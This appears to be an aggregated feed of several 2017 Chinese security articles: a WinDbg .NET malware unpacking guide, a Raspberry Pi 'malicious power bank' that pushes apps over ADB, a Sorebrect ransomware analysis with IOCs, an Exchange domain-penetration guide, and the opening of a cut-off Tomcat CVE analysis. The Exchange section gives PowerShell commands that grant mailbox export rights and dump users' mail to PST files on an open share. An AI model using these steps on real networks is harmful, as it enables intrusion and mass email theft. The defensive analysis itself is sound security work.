【技术分享】使用Windbg分析.NET恶意软件

.NET版本2&3

.NET 2和3版本编译的恶意软件的分析过程是一样的。不同的是传递给Assembly.Load()的参数的方式。这个例子中,参数不使用栈,它存储在ECX寄存器中:


【技术分享】使用Windbg分析.NET恶意软件

数据格式和上述的例子中的是一样的,数组的大小标记为红色,蓝色是加载的二进制。

自动化脱壳

多亏了之前的分析描述,我们能创建一个通用的脱壳器。你能在附录2中找到.NET版本2,3,4的Windbg脚本。

脚本调用语法如下:


【技术分享】使用Windbg分析.NET恶意软件

下面是脚本执行的截图:


【技术分享】使用Windbg分析.NET恶意软件

0x04 Python脚本

你能下载一个Python脚本来自动化.NET分析。这个脚本需要pykd扩展,以便能在Windbg中执行python。脚本使用SOS命令,目的是得到更好的输出。配置位于脚本的开头:

【技术分享】使用Windbg分析.NET恶意软件

Bp_list变量包含断点的列表。在这个例子中,脚本将在3个.NET API处下断点(System.Diagnotics.Process.Start,System.Net.WebClient.Download.File 和 Sysyem.Reflection.Assembly.Load)。3个函数的参数将显示在Windbg中。

如果dump_byte_array变量为1,脚本将自动dump字节数组。dump的内容位于dump_byte_array目录。

脚本允许文本或json的输出。本文的例子输出是文本格式,但是我们通过JsonDebug变量设为“True”能调整格式为Json。

例1:

下面是Assembly.Load()调用的脚本输出:


【技术分享】使用Windbg分析.NET恶意软件

Assembly.Load参数字节数组的内容自动存储到c:\users\lucifer\Desktop\dump_1496942775_0x02f67e04_5644.dmp。

例2:

下面是PowerShell脚本执行start-process的输出:


【技术分享】使用Windbg分析.NET恶意软件

脚本显示了参数和我们感兴趣的字段的内容(例子中filename字符串)。

例3:

DownloadFile API的执行输出:


【技术分享】使用Windbg分析.NET恶意软件

第一个参数是System.URI对象。对象被自动解析,且相关的内容显示在Windbg中。这个例子中,显示的第一个字段(字符串m_string)。这个字符串包含了URL。第二个参数也是个字符串。

例4:

下面是JSON格式的输出(start-process执行):


【技术分享】使用Windbg分析.NET恶意软件

0x05 总结

WIndbg是微软提供的强大的调试工具。因为不熟悉语法和界面,使它不太容易成为恶意软件分析工具。但是使用正确的扩展,能有利于分析托管代码(.NET).

0x06 附录

IOCs

加壳样本的SHA256

21acd3457c1a589e117988fe0456e50ed627f051a97ccd11bfeeaf3c0cd79bfe

344ce133363f005346210611d5abd2513934a32739bc6e1bbd2257a298484051

45c695e610d78178ec5ca6f4e1993afacf4e435b566cd2caf65408fb6080300f

61653b2811fb7c672584d00417cbc1a56c8372331f1913104f9807a775f25773

ac7bd77245bdf284d36ce1f9e2cb6a21d2dbd38aa1964dbaee4d06563f057ca6

b607e87acdcb2ef0f102298decc57ca3ea20fabbf02375fd30eddddffbeec320

e93c0aed6bbb4af734403e02d399c124f2d07f8e701fb716c2efe65942f83504

脱壳样本的SHA256

35dee9106e4521e5adf295cc945355d72eb359d610230142e5dd4adda9678dee

b5ce02ee3dfccf28e86f737a6dde85e9d30ff0549ec611d115a1d575b5291c2e

d9a732dcf87764a87f17c95466f557fac33f041ac6f244dba006ba155d8e9aea

fe068ce56b258762c10cc66525c309e79026c0e44103ca9b223c51382722cb09

Windbg脚本

.NET 4之前:


【技术分享】使用Windbg分析.NET恶意软件

.NET版本4:


【技术分享】使用Windbg分析.NET恶意软件


【技术分享】使用Windbg分析.NET恶意软件
【技术分享】使用Windbg分析.NET恶意软件
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.talosintelligence.com/2017/07/unravelling-net-with-help-of-windbg.html

【技术分享】利用树莓派自制恶意充电宝实验

$
0
0
【技术分享】利用树莓派自制恶意充电宝实验

2017-07-26 14:45:05

阅读:1135次
点赞(0)
收藏
来源: 安全客





【技术分享】利用树莓派自制恶意充电宝实验

作者:网络安全





【技术分享】利用树莓派自制恶意充电宝实验

作者:网络安全通

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


重温一遍今年的315晚会。看完只想骂一句奸商!晚会上披露了一个可以通过充电控制用户手机的内容,作为离了手机就丢了半条命的现代人,经常会遇到在外手机没电借别人充电器、充电宝的情况。借到了你以为是遇上了好人,也很有可能是被卖了还帮着数钱。

作为网络安全维护者的我们,为了防止更多的人上当,我们要坚决地披露这种行为。不过视频中的控制方式不是很清晰,刚好实验室到了一批树莓派(卡片式电脑),于是决定用树莓派进行本次实验。


准备材料

需要的材料如下图所示:


【技术分享】利用树莓派自制恶意充电宝实验

(这个有毒的充电宝中主要是树莓派carry全场,2、3、4就是普通充电宝的构成)


配置树莓派

1. 我们需要在树莓派上安装基于linux的raspbian-jessie操作系统,安装操作系统的详细步骤可以在树莓派的官网上找到,这里就不再赘述https://www.raspberrypi.org

2. 对树莓派进行设置,首先进入树莓派的操作系统。这里使用的是远程登录工具SecureCRT来登录树莓派操作系统,界面如下所示:


【技术分享】利用树莓派自制恶意充电宝实验

3. 远程对树莓派进行操作,让树莓派安装上ADB工具。(所谓的ADB工具英文为Android Debug Bridge,译为安卓调试桥)。

不过在进行这一步之前首先需要对树莓派的源进行修改,修改为如下:


【技术分享】利用树莓派自制恶意充电宝实验

在树莓派上面具体的命令如下:

apt-getinstallandroid-tool-adb

命令运行好之后adb工具,就已经安装在树莓派上面了,如果输入命令

adb

出现界面,就说明adb工具已经安装完毕。


【技术分享】利用树莓派自制恶意充电宝实验

配置完树莓派,实验就差不多完成了,接下去的步骤就是打开盒子、把东西放进盒子、盖上盒子。


调整充电宝外壳

为了使得盒子的大小能够放得下树莓派,我们要对买来的充电宝盒子进行处理,处理完的盒子如下所示:


【技术分享】利用树莓派自制恶意充电宝实验

泡沫胶可以让树莓派的接口和充电宝的充电口对上。这里需要花费很大的功夫来调整你手里的盒子来使得它和树莓派相互适应,做得好不好,就全看水平了。所以一开始买好盒子很重要,它能够帮你大量的节省这一个步骤的时间。


调整电池

摆弄完盒子之后,就需要考虑如何对树莓派进行供电了。这里采用的18650大容量电池,两节电池合起来的电压超过7V,而树莓派只能在5V的电压下正常工作,所以我们就需要对电池的输出电压进行调整。这里使用的稳压模块是可调电压的稳压模块,具体如下:

1. 红色框出的就是调整输出的电压的旋钮


【技术分享】利用树莓派自制恶意充电宝实验

2.为了精确的调整电压,我们还需要一个万用电表,万用电表如下所示:


【技术分享】利用树莓派自制恶意充电宝实验

3. 对输出电压进行调整的情况如下所示:扭一扭,看一看


【技术分享】利用树莓派自制恶意充电宝实验
调整完电压之后,我们就可以将所有模块组装起来了。之前已经根据树莓派大小调整过盒子,所以很容易能将模块放进去。我们的成品如下:

【技术分享】利用树莓派自制恶意充电宝实验
将盖子盖上:

【技术分享】利用树莓派自制恶意充电宝实验

测试

当用户使用这一款充电宝的时候,就可以对其进行远程的控制,比如说使用adb工具向用户手机推送恶意app,如下所示:


【技术分享】利用树莓派自制恶意充电宝实验

安全提示

1. 当使用各种充电设备的时候,要警惕那些所谓的充电小提示。

2. 不要去下载所谓的充电助手等应用

3. 如非必要,请关闭手机的开发者模式,

4. 关闭允许USB安装应用选项。因为很多木马APP都是从USB安装而来

5. 切勿下载使用不明来源的应用

6. 尽量不要去连接他人的充电设备



【技术分享】利用树莓派自制恶意充电宝实验
【技术分享】利用树莓派自制恶意充电宝实验
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4153.html

【病毒分析】Sorebrect勒索病毒分析报告

$
0
0
【病毒分析】Sorebrect勒索病毒分析报告

2017-07-26 18:10:27

阅读:458次
点赞(0)
收藏
来源: 安全客





【病毒分析】Sorebrect勒索病毒分析报告

作者:360网络安全响应中心





【病毒分析】Sorebrect勒索病毒分析报告

作者:houjingyi@360CERT


0x00 背景介绍


【病毒分析】Sorebrect勒索病毒分析报告

2017年6月安全研究人员发现了一种利用AES-NI特性的名为Sorebrect的勒索病毒,它的代码和原始的AES-NI版本相比有一些显著的变化。一方面技术上它试图将恶意代码注入svchost.exe中,再进行自毁以无文件的形式躲避检测。另一方面它声称使用了NSA的溢出攻击工具(如:永恒之蓝漏洞)。

360CERT安全分析团队将在本文中对部分相关的技术进行具体分析。


0x01 IOC

CRC32: 907F515A

MD5: 83E824C998F321A9179EFC5C2CD0A118

SHA-1: 16B84004778505AFBCC1032D1325C9BED8679B79


0x02 病毒详情

在Sorebrect版本中使用的加密后缀是.aes_ni_0day和.pr0tect,早期使用AES-NI 特性的勒索病毒使用的加密文件扩展名包括: .lock,.pre_alpha,.aes和.aes_ni。

Sorebrect声称自己是特殊的“NSA EXPLOIT EDITION”,在360CERT具体分析过程中暂时还没有发现有类似于NotPetya和WannaCry使用NSA泄露的工具传播的行为,传播方式主要是感染网络中共享的文件。

接下来,360CERT对Sorebrect样本中使用的加解密、进程注入、反恢复、内网感染等技术进行一系列的分析。

初始化加解密

Sorebrect在程序开始运行时就使用了加解密技术,会对每个导入函数地址和固定值0x772756B1h进行异或加密保存,在调用时再与此值异或得到真正的函数地址。


【病毒分析】Sorebrect勒索病毒分析报告

在一开始会先搜索被加载到内存中的PE文件起始位置。


【病毒分析】Sorebrect勒索病毒分析报告

随后,开始解析kernel32的内存地址。


【病毒分析】Sorebrect勒索病毒分析报告
进一步获取LoadLibrary函数的内存地址。
【病毒分析】Sorebrect勒索病毒分析报告

根据分析,主体程序会尝试获取下列dll的地址。


【病毒分析】Sorebrect勒索病毒分析报告

具体在分析过程中,sub_A0A660的三个参数,分别为动态库(dll)的地址,存放函数地址与0x772756B1h异或加密之后的值的地址,和函数名称的CRC32与0x772756B1h异或加密之后的值。


【病毒分析】Sorebrect勒索病毒分析报告

尝试解析这些地址存放的函数地址对应的函数名称之后的效果如下所示。

之前:


【病毒分析】Sorebrect勒索病毒分析报告

之后:


【病毒分析】Sorebrect勒索病毒分析报告

注入操作

Sorebrect会试图调用DuplicateTokenEx复制一份具有system权限的进程的token,再使用CreateProcessWithTokenW创建具有system权限的svchost.exe。


【病毒分析】Sorebrect勒索病毒分析报告

【病毒分析】Sorebrect勒索病毒分析报告

如果上述过程没有成功,Sorebrect会继续调用CreateProcessW创建一个普通权限的svchost.exe。


【病毒分析】Sorebrect勒索病毒分析报告

svchost.exe进程创建后,Sorebrect会调用WriteProcessMemory向创建的svchost.exe写入一段代码。


【病毒分析】Sorebrect勒索病毒分析报告

注入代码之前:


【病毒分析】Sorebrect勒索病毒分析报告

注入代码之后:


【病毒分析】Sorebrect勒索病毒分析报告

这段代码会试图在内存中加载并执行一个文件,该文件内容与原病毒基本相同。


【病毒分析】Sorebrect勒索病毒分析报告

主体程序接下来在内存中释放了一个dll文件,这个文件是UPX加壳的。


【病毒分析】Sorebrect勒索病毒分析报告

TOR通信

Sorebrect主体程序还会尝试连接ipinfo.io,并以kzg2xa3nsydva3p2.onion/gate.php为参数调用前面释放的dll。该dll的功能为进行tor通信。


【病毒分析】Sorebrect勒索病毒分析报告

【病毒分析】Sorebrect勒索病毒分析报告

痕迹擦除

创建一个批处理文件删除日志记录。
【病毒分析】Sorebrect勒索病毒分析报告

【病毒分析】Sorebrect勒索病毒分析报告

对抗恢复1

Sorebrect会尝试停止下列服务,以此来对抗可能的文件恢复。这些服务包括各种备份软件和数据库软件等等。

BCFMonitorService.QBFCService.QBVSS.QuickBooksDB25.LMIRfsDriver.RemoteSystemMonitorService.mssql$MICROSOFT##WID.dbupdate.dbupdatem.DbxSvc.MsDtsServer100.msftesql-Exchange.MSSQL$MICROSOFT##SSEE.MSSQL$PROBA.MSSQL$SBSMONITORING.MSSQL$SHAREPOINT.MSSQL$SQL2005.msftesql$SBSMONITORING.MSSQLFDLauncher.MSSQLFDLauncher$PROBA.MSSQLFDLauncher$SBSMONITORING.MSSQLFDLauncher$SHAREPOINT.MSSQLSERVER.MSSQLServerADHelper100.SQLAgent$PROBA.SQLAgent$SBSMONITORING.SQLAgent$SHAREPOINT.SQLBrowser.SQLSERVERAGENT.SQLWriter.CertPropSvc.CertSvc.DataCollectorSvc.FirebirdServerDefaultInstance.wsbexchange.MSExchangeTransportLogSearch.MSExchangeTransport.MSExchangeServiceHost.MSExchangeSearch.MSExchangeSA.MSExchangeRepl.MSExchangePop3.MSExchangeMonitoring.MSExchangeMailSubmission.MSExchangeMailboxAssistants.MSExchangeIS.MSExchangeImap4.MSExchangeFDS.MSExchangeEdgeSync.MSExchangeAntispamUpdate.MSExchangeADTopology.SPTrace.SPTimerV3.SPWriter.TeamViewer.W3SVC.W32Time.MsDtsServer.MSSQLSERVR.MSSQLServerOLAPService.zBackupAssistService.cbVSCService11.CobianBackup11.postgresql-8.4.spiceworks.QuickBooksDB23.ShadowProtectSvc.VSNAPVSS.VSS.stc_raw_agent.PleskSQLServer.mysql56.MSExchangeRep.NAVSERVER.ZWCService.vmms.vds.sesvc.MSSQL$VEEAMSQL2008R2.SQLAgent$VEEAMSQL2008R2.VeeamBackupCatalogDataService.VeeamBackupandReplicationService.VeeamCloudSvc.VeeamTransportSvc.VeeamCatalogSvc.VeeamDeploymentService.VeeamMountSvc.VeeamNFSSvc.FirebirdGuardianDefaultInstance.BackupExecAgentBrowser.BackupExecDeviceMediaService.DLOAdminSvcu.DLOMaintenanceSvc.bedbg.BackupExecJobEngine.BackupExecManagementService.BackupExecAgentAccelerator.BackupExecRPCService.MSExchangeADTopology.Browser.WSearch.WseComputerBackupSvc.WseEmailSvc.WseHealthSvc.WseMediaSvc.WseMgmtSvc.WseNtfSvc.WseStorageSvc.SBOClientAgent.VSS.VSNAPVSS.vmicvss.swprv.ShadowProtectSvc.SQLWriter.SQLBrowser.SQLAgent$SQLEXPRESS.MSSQL$SQLEXPRESS.MSSQL$MICROSOFT##WID.EDBSRVR.ComarchAutomatSynchronizacji.ComarchML.ComarchUpdateAgentService.RBMS_OptimaBI.RBSS_OptimaBI.ServerService.GenetecWatchdog.GenetecServer.GenetecSecurityCenterMobileServer.SQLAgent$SQLEXPRESS.SQLBrowser.SQLWriter.MSSQL$SQLEXPRESS.MSSQLServerADHelper100.MSExchangeFBA.eXchangePOP36.0.bedbg.BackupExecRPCService.BackupExecDeviceMediaService.BackupExecAgentBrowser.BackupExecAgentAccelerator.MsDtsServer100.MSSQLFDLauncher.MSSQLSERVER.MSSQLServerADHelper100.MSSQLServerOLAPService.ReportServer.SQLBrowser.SQLSERVERAGENT.SQLWriter.WinVNC4.KAORCMP999467066507407.dashboardMDSync.MicroMDAutoDeploy.MicroMDConnectionService.MICROMD72ONCOEMR.ONCOEMR2MICROMD7.FBSServer.FBSWorker.cbVSCService11.CobianBackup11.LogisticsServicesHost800.PRIMAVERAwindowsService.PrimaveraWS800.PrimaveraWS900.TTESCheduleServer800.DomainManagerProviderSvc.WSS_ComputerBackupProviderSvc.WSS_ComputerBackupSvc.msftesql$SBSMONITORING.msftesql-Exchange.MSSQL$ACRONIS.MSSQL$BKUPEXEC.MSSQL$MICROSOFT##SSEE.MSSQL$SBSMONITORING.MSSQLServerADHelper.MySQL.SQLBrowser.SQLWriter.MSExchangeADTopology.MSExchangeAntispamUpdate.MSExchangeEdgeSync.MSExchangeFDS.MSExchangeImap4.MSExchangeIS.MSExchangeMailboxAssistants.MSExchangeMailSubmission.MSExchangeMonitoring.MSExchangePop3.MSExchangeRepl.MSExchangeSA.MSExchangeSearch.MSExchangeServiceHost.MSExchangeTransport.MSExchangeTransportLogSearch.msftesql-Exchange.wsbexchange.AcronisVSSProvider.AcronisAgent.AcronisFS.AcronisPXE.AcrSch2Svc.AMS.MMS.MSSQL$ACRONIS.StorageNode.PleskControlPanel.PleskSQLServer.plesksrv.PopPassD.Apache2.2.Apache2.4.memcachedServer.MMS.ARSM.AdobeARMservice.AcrSch2Svc.AcronisAgent.CrashPlanService.SPAdminV4.SPSearch4.SPTraceV4.SPWriterV4.Altaro.Agent.exe.Altaro.HyperV.WAN.RemoteService.exe.Altaro.SubAgent.exe.Altaro.UI.Service.exe.MELCS.MEMTAS.MEPOCS.MEPOPS.MESMTPCS.postgresql-9.5
【病毒分析】Sorebrect勒索病毒分析报告

除了停止服务外,Sorebrect程序硬编码了一段CRC32的值,如果小写的进程名的CRC32值和硬编码的值相同则尝试终止该进程。


【病毒分析】Sorebrect勒索病毒分析报告

【病毒分析】Sorebrect勒索病毒分析报告

加密操作

Sorebrect会对主机上的文件进行加密,并在C:\ProgramData目录下生成密钥,根据提示信息,受害者想要解密必须将该文件发送给攻击者。


【病毒分析】Sorebrect勒索病毒分析报告

Sorebrect病毒使用AES-NI指令集完成加密。AES-NI是一个x86指令集架构的扩展,用于Intel和AMD微处理器,由Intel在2008年3月提出。该指令集的目的是改进应用程序使用AES执行加密和解密的速度。


【病毒分析】Sorebrect勒索病毒分析报告

【病毒分析】Sorebrect勒索病毒分析报告

如代码所示,将EAX寄存器设置为0之后执行CPUID指令返回的制造商标识存放在EBX,ECX和EDX寄存器中。如果既不是GenuineIntel的处理器也不是AuthenticAMD的处理器则认为该处理器不支持AES-NI指令集。将EAX寄存器设置为1之后执行CPUID指令通过ECX寄存器中的标志位进一步判断处理器是否支持AES-NI指令集。


【病毒分析】Sorebrect勒索病毒分析报告

【病毒分析】Sorebrect勒索病毒分析报告

局域网感染

Sorebrect在加密操作完成之后,会进一步探测局域网,并通过IPC$共享的方式来进行局域网内的感染。


【病毒分析】Sorebrect勒索病毒分析报告

【病毒分析】Sorebrect勒索病毒分析报告

设置LegalNoticeCaption和LegalNoticeText注册表项,内容分别为Microsoft Windows Security Center和Dear Owner. Bad news: your server was hacked. For more information and recommendations, write to our experts by e-mail. When you start Windows,Windows Defender works to help protect your PC by scanning for malicious or unwanted software.

系统启动时会弹出这个对话框。


【病毒分析】Sorebrect勒索病毒分析报告

【病毒分析】Sorebrect勒索病毒分析报告

对抗恢复2

删除所有卷影副本。

0x03 防范建议

重要数据、文件备份

网络犯罪分子往往使用重要和个人数据的潜在损失作为恐吓手段来强迫受害者支付赎金。因此公司和个人用户可以备份重要数据、文件以消除其影响力:至少保留三份副本,其中两个存储在不同的设备中,另一个存储在非现场或安全位置。

保持系统补丁更新

确保操作系统和其它应用程序安装了最新的补丁,阻止威胁将安全漏洞用作系统或网络的门户。

安装可靠的终端安全防护软件

在保证定期更新补丁的基础上,通过安装可靠的终端安全防护产品来进行进一步的安全防御。

0x04 时间线

2017-6-15趋势科技捕获到病毒并命名为Sorebrect

2017-7-7 360CERT完成对病毒的分析


0x05 参考文档

http://blog.nsfocus.net/hardware-accelerate-extortion-software-xdata/

https://www.cylance.com/en_us/blog/threat-spotlight-aes-ni-aka-sorebrect-ransomware.html

https://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/



【病毒分析】Sorebrect勒索病毒分析报告
【病毒分析】Sorebrect勒索病毒分析报告
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4154.html

【技术分享】域渗透之Exchange Server

$
0
0
【技术分享】域渗透之Exchange Server

2017-07-27 09:56:16

阅读:252次
点赞(0)
收藏
来源: 安全客





【技术分享】域渗透之Exchange Server

作者:hui81c2





【技术分享】域渗透之Exchange Server

作者:hui81c2

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

Microsoft Exchange Server 做为消息与协作系统。它提供了业界最强的扩展性、高可靠性、安全性和高处理性能,被许多企业、学校、政府等作为主要邮件系统。在内网渗透测试中,对邮件系统的把控会让你事半功倍,尤其是和AD绑在一起的Exchange。

通过本文你将了解Ps下对Exchange邮件的基本操作,这也同样适用于运维管理,当然相比博大精深的ES是远远不够的。以下环境为Exchange server 2013,也同样适用于2010等版本。

你可以在开始菜单中通过 Exchange Management Shell (EMS)管理器快捷方式连接到 exchange server,初始化过后你将得到一个Powershell命令窗口。如果连接失败,请相信我,一定是你内存分配的不够,默认安装的Exchange也至少需要分配6个G内存。

如果一切都没有问题,并且你已经获取了域控权限,那就开始我们的旅程吧!


导出邮箱列表

查看数据库

邮箱数据库是创建和存储邮箱的粒度的单位。邮箱数据库以 Exchange 数据库 (.edb) 文件的形式存储。存储结构分为直接附加存储 (DAS)和存储区域网络 (SAN)。我们可以通过 Get-MailboxDatabase cmdlet 从服务器或组织中检索一个或多个邮箱数据库对象。一般为了高可用性至少有两台服务器组成DGA,你可以通过-Server参数指定检索服务器。

[PS]C:\windows\system32>get-mailboxdatabase-Server"exchange" NameServerRecoveryReplicationType --------------------------------- MailboxDatabase0574336487EXCHANGEFalseNone MailboxDatabaseTest01EXCHANGEFalseNone

格式化筛选指定属性,如数据库文件路径

[PS]C:\>Get-MailboxDatabase-Identity'MailboxDatabaseTest01'|Format-ListName,EdbFilePath,LogFolderPath Name:MailboxDatabaseTest01 EdbFilePath:C:\ProgramFiles\Microsoft\ExchangeServer\V15\Mailbox\MailboxDatabaseTest01\MailboxDatabaseTest01.edb LogFolderPath:C:\ProgramFiles\Microsoft\ExchangeServer\V15\Mailbox\MailboxDatabaseTest01

ECP数据库管理位置


【技术分享】域渗透之Exchange Server

获取组

在域控中新建过OU(Organizational Unit)之后,我们往往会建立Group来管理用户。查询组的意义在于——往往你会看到有个组名字叫做IT,当然这一步和net group大同小异。通过Get-DistributionGroup cmdlet 查询现有通讯组。

[PS]C:\Windows\system32>Get-DistributionGroup NameDisplayNameGroupTypePrimarySmtpAddress ------------------------------------------ EXchangeNewOUEXchangeNewOUUniversalENO@ruos.org ITSecurityITSecurityUniversal,SecurityEnabledit-security@ruos.org

查看通讯组IT Security详细信息

[PS]C:\Windows\system32>Get-DistributionGroup"ITSecurity"|fl RunspaceId:efbb60f9-5ef1-4a8d-9b94-c3f102e576c3 GroupType:Universal,SecurityEnabled SamAccountName:ITSecurity BypassNestedModerationEnabled:False ManagedBy:{ruos.org/Users/Administrator,ruos.org/Users/admin} MemberJoinRestriction:Closed MemberDepartRestriction:Closed ...

导出成CSV文件

#查询通讯组 Get-DistributionGroup|` Select-ObjectDisplayName,Name,Alias,GroupType,WindowsEmailAddress,@{n="ManagedBy";e={$_.ManagedBy-Join";"}},OrganizationalUnit|` Export-CSVtest.csv-NoType

获得组成员

通过Get-DistributionGroupMember cmdlet 可以查找现有的通讯组成员。

[PS]C:\Windows\system32>Get-DistributionGroupMember-Identity"ENO" NameRecipientType ----------------- AdministratorUserMailbox aUserMailbox mingxiaoUserMailbox user1UserMailbox

获得用户admin(可以是域用户格式)邮箱信息

获取用户邮箱信息。通过以上步骤,我们大概知道了如何查询用户组中的成员,下面我们将使用Get-Mailbox cmdlet 获取邮箱对象和属性。再配合Get-MailboxStatistics cmdlet 获取有关邮箱的信息,例如,邮箱大小、所包含的邮件数、以及最后访问时间。

基本使用

Get-Mailbox|format-tablesName,WindowsEmailAddress Get-Mailboxtestuser|fl*|Out-Filec:\mb.txt Get-Mailbox|ForEach-Object{$_.Name}

获取组织单元内用户

Get-Mailbox-OrganizationalUnit"NewOU" [PS]C:\Windows\system32>get-mailboxstatistics-identityadmin|SelectDisplayName,ItemCount,TotalItemSize,LastLogonTime DisplayNameItemCountTotalItemSizeLastLogonTime ---------------------------------------------- admin1190.88KB(93,056bytes)2016/11/2919:59:08

Format-Table 模式查看

使用反引号`换行,输入结束后再回车执行。

#查看所有邮箱信息Get-Mailbox-ResultSizeUnlimited|`Get-MailboxStatistics|`Sort-ObjectTotalItemSize–Descending|`ftDisplayName,@{label="MailboxSize(MB)";expression={$_.TotalItemSize.Value.ToMB()}

导出到CSV文件(这将是你想要的)

$mb=Get-Mailbox-ResultSizeUnlimited$output=foreach($objin$mb){$ms=(Get-MailboxStatistics$obj.Identity-WarningActionSilentlyContinue)$obj|Select-ObjectDisplayName,Name,WindowsEmailAddress,OrganizationalUnit,Database,` @{L="MailboxSize(MB)";E={$ms.TotalItemSize.Value.ToMB()}},` @{L="LastLogonTime";E={$ms.LastLogonTime}} }#Write-Output$output$output|Export-CSVtest.csv-NoType

或者通过ECP导出


【技术分享】域渗透之Exchange Server

导出PST邮件

在了解了用户的邮箱使用情况后,我们下一步将邮箱数据导出为PST文件,以方便本地查看和搜索。

要在Exchange Server 2010 SP1中使用用户邮箱导出功能,只能使用EMS进行操作。而且操作的Exchange服务器管理员必须要成为“邮箱导入导出角色”。

Exchange Server 2007 可以使用 export-Mailbox cmdlet

导出邮件分为以下几个步骤:

Step1 为用户添加导出权限

Step2 导出邮件

Step3 查看导出请求及删除导出请求

查看角色(默认只有组织管理成员才有导入/导出权限)

使用Get-ManagementRole cmdlet 查看组织内已创建的管理角色。

[PS]C:\Windows\system32>Get-ManagementRole NameRoleType ------------ MailboxImportExportMailboxImportExport

Get-ManagementRoleAssignment cmdlet 检索管理角色分配。

[PS]C:\Windows\system32>Get-ManagementRoleAssignment-role"MailboxImportExport"|Format-ListRoleAssigneeName RoleAssigneeName:OrganizationManagement RoleAssigneeName:Administrator RoleAssigneeName:admin

为用户Administrator添加邮箱导入导出角色

New-ManagementRoleAssignment cmdlet 可以将管理角色分配给管理角色组、管理角色分配策略、用户或通用安全组 (USG)。

添加角色后需要重启EMS

[PS]C:\Windows\system32>New-ManagementRoleAssignment-Name"ImportExport_DomainAdmins"` >>-User"Administrator"-Role"MailboxImportExport" >> DataObject:ImportExport_DomainAdmins User:ruos.org/Users/Administrator AssignmentMethod:Direct Identity:ImportExport_DomainAdmins EffectiveUserName:Administrator

删除管理角色分配

Remove-ManagementRoleAssignment"ImportExport_DomainAdmins"-Confirm:$false New-MailboxExportRequestcmdlet将主邮箱或存档的内容导出到.pst文件。 netshare创建“读/写权限”共享文件夹 netsharesharename$=c:\share/GRANT:Everyone,FULL

将user1收件箱中的所有邮件导出到 .pst

New-MailboxExportRequest-Mailboxuser1-IncludeFolders"#Inbox#"-FilePath\10.2.2.163\maildata\user1.pst

Inbox(收件箱)、SentItems(已发送邮件)、DeletedItems(已删除邮件)、Drafts(草稿)

导出用户 Tony 在 2012 年 1 月 1 日之前收到的邮件正文中包含“公司”和“利润”的邮件。

New-MailboxExportRequest-MailboxTony`-ContentFilter{(body-like"*company*")`-and(body-like"*profit*")`-and(Received-lt"01/01/2012")}`-FilePath"\\SERVER01\PSTFileShare\Tony_CompanyProfits.pst"

之后你可以将其载入到Outlook中进行查看。

查看导出请求状态

Get-MailboxExportRequestcmdlet可以查看使用New-MailboxExportRequestcmdlet启动的正在执行的导出请求的详细状态。 [PS]C:\Windows\system32>Get-MailboxExportRequest NameMailboxStatus ----------------- MailboxExportruos.org/Users/aCompleted

删除全部或部分完成的导出请求

[PS]C:\Windows\system32>Remove-MailboxExportRequest-Identity"a\MailboxExport"

删除所有状态为“已完成”的导出请求

Get-MailboxExportRequest-StatusCompleted|Remove-MailboxExportRequest-Confirm:$false

或者通过ECP导出,缺点是不能过滤时间,并且管理员会收到导出完成通知。


【技术分享】域渗透之Exchange Server

以上介绍了如何通过EMS导出用户邮件,但是谁也不能保证你不会和管理员撞个满怀。值得庆幸的是,Exchange Server支持PowerShell远程操作。


Exchange PowerShell

远程 PowerShell 提供了从命令行管理 Exchange Online的方式,利人又利己。

创建用户凭证

$Credential=Get-Credential

但这样会弹出凭据请求输入框,使用 PSCredential 创建非交互式登陆凭据。

$pass=ConvertTo-SecureString"PlainTextPassword"-AsPlainText-Force$Credential=New-ObjectSystem.Management.Automation.PSCredential("Domain01\User01",$pass)

创建登陆会话

$Session=New-PSSession-ConfigurationNameMicrosoft.Exchange`-ConnectionUrihttp://<FQDNofExchange2016Mailboxserver>/PowerShell/`-AuthenticationKerberos-Credential$Credential

导入会话

Import-PSSession$Session

移除会话

Remove-PSSession$Session

Scripting with the Exchange Management Shell

通过SHELL的方式执行脚本。

适用于: Exchange Server 2013

exchange默认根目录在 :\Program Files\Microsoft\Exchange Server\V15\bin

执行自定义脚本

需要开启远程脚本执行权限

Set-ExecutionPolicyRemoteSigned Script #filename:test.ps1#exporttopstforeach($userin"admin","user1","user2"){New-MailboxExportRequest-Mailbox$user-ContentFilter{Received-gt"11/29/2016"}-FilePath"\\192.168.6.2\sharename$\$user.pst"Start-Sleep-Seconds3}

从cmd启动脚本

64位系统下存在文件系统重定向机制,powershell路径为 C:\windows\sysnative\WindowsPowerShell\v1.0\powershell.exe

PowerShell.exe-command".'C:\ProgramFiles\Microsoft\ExchangeServer\V15\bin\RemoteExchange.ps1';Connect-ExchangeServer-auto;C:\test.ps1"

查看角色权限

PowerShell.exe-command".'C:\ProgramFiles\Microsoft\ExchangeServer\V15\bin\RemoteExchange.ps1';Connect-ExchangeServer-auto;Get-ManagementRoleAssignment-role\"MailboxImportExport\""

结束语

Exchange和AD的紧密性使得很多Cmdlet Reference都能达到同样的目的,比如查询用户登陆的源IP地址,我们还能通过Exchange的IIS日志来查找。但有时候遗憾的是,用户虽然在使用邮箱,工作机却没有加入域中。这种情况我们就需要配合其他信息进一步确认。


【技术分享】域渗透之Exchange Server

参考资料

https://technet.microsoft.com/zh-cn/library/mt587043(v=exchg.150).aspx

https://technet.microsoft.com/zh-cn/library/bb124558(v=exchg.150).aspx

Microsoft Exchange Server 2013 PowerShell Cookbook




【技术分享】域渗透之Exchange Server
【技术分享】域渗透之Exchange Server
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4145.html

【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析

$
0
0
【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析

2017-07-27 11:06:17
阅读:924次
点赞(0)
收藏
来源: n1nty






【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析

作者:n1nty

在车上刚看到这个 CVE 的相关信息时,就感觉与PUT有关,让我猜到了。

首先,这是鸡肋。:)有兴趣看粗略技术分析的请继续。

这次的 CVE 涉及到 DefaultServlet 与 WebdavServlet。这里只讲 DefaultServlet。


背景知识

1. DefaultServlet 的作用

